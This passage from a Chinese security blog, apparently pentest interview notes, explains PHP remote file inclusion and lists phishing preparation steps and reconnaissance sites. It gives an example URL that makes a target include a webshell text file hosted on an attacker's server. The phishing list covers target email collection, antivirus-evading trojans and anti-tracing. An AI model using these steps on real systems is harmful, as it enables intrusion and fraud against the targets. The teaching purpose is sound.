远程文件包含本质上和 LFI (本地文件包含) 是同一个概 念,只是被包含的 “文件源” 不是从本次磁盘上获得,而 是从外部输入流得到。 如果 PHP 的配置选项 allow_url_include 为 ON 的话, 则 include/require 函数可以加载远程文件,这种漏洞被称为 “远程文件包含漏洞 (Remote File Inclusion RFI)”。

注意:如果是包含远程服务器上的 PHP 文件,那么得到的是被远程服务器解析过的 PHP,所以在写一句话木马的 时候就不要做成 .php 的文件 ,一般做成 .txt 的文件,再让它包含过来。

我们用 windows server 2003 服务器包含一个 Linux 上 的 phpinfo.php 文件,那么得到的就是 Linux 的 php 配置文件 ,而不是 Windows 上的 php 配置信息。

我们已知 192.168.173.128 这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件,首先,我们在自己的服务器 192.168.173.129 上新建一 个文件 2.txt。我们通过远程包含文件包含到 192.168.173.128 这台目标 服务器上, 包含的方式与本地包含的方式类似: http://192.168.173.128/index.php?page=http://192. 168.173.129/2.txt。然后我们访问,若看到页面显示正常,说明文件包含成功。

问八十六:邮件钓鱼的准备工作有哪些?

钓鱼邮件,即一种伪造邮件,是指利用伪装的电子邮件,来欺骗收件人点击恶意 URL,或诱导收件人下载带恶意程序的可执行文件。

1、确定邮件钓鱼的形式:链接、文件

2、收集目标相关的邮箱

3、编写钓鱼邮件文案

4、匿名邮箱

5、木马免杀测试、钓鱼站点搭建

6、反溯源

六、一些常用工具汇总

  • 威胁情报平台
1
2
3
4
5
https://x.threatbook.cn/ 微步在线威胁情报社区
https://ti.qianxin.com/ 奇安信威胁情报中心
https://ti.360.cn/ 360威胁情报中心
https://www.venuseye.com.cn/
VenusEye威胁情报中心
  • 域名反查
1
2
3
4
5
6
7
站长之家IP查询网址:https://ip.tool.chinaz.com/ipbatch
IP138查询网:https://www.ip138.com/
高精度IP定位:https://www.opengps.cn/Data/IP/LocHighAcc.aspx
IP信息查询:https://www.ipip.net/ip.html/
IP地址查询在线工具:https://tool.lu/ip/
多地Ping检测:http://ping.chinaz.com/
Whois查询:https://whois.chinaz.com/
  • ip 定位网站
1
https://www.opengps.cn/Data/IP/ipplus.aspx
  • 在线子域名查询
1
https://phpinfo.me/domain/
  • 网站指纹识别
1
2
3
4
5
6
在线cms识别小插件:http://whatweb.bugscaner.com/look/
wahtweb(需要安装):https://github.com/urbanadventurer/WhatWeb
云悉指纹:yunsee.cn-2.0
参考链接:
https://blog.csdn.net/qq_41755666/article/details/123614559
https://blog.csdn.net/zsw15841822890/article/details/115774385

本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!

...

...

00:00
00:00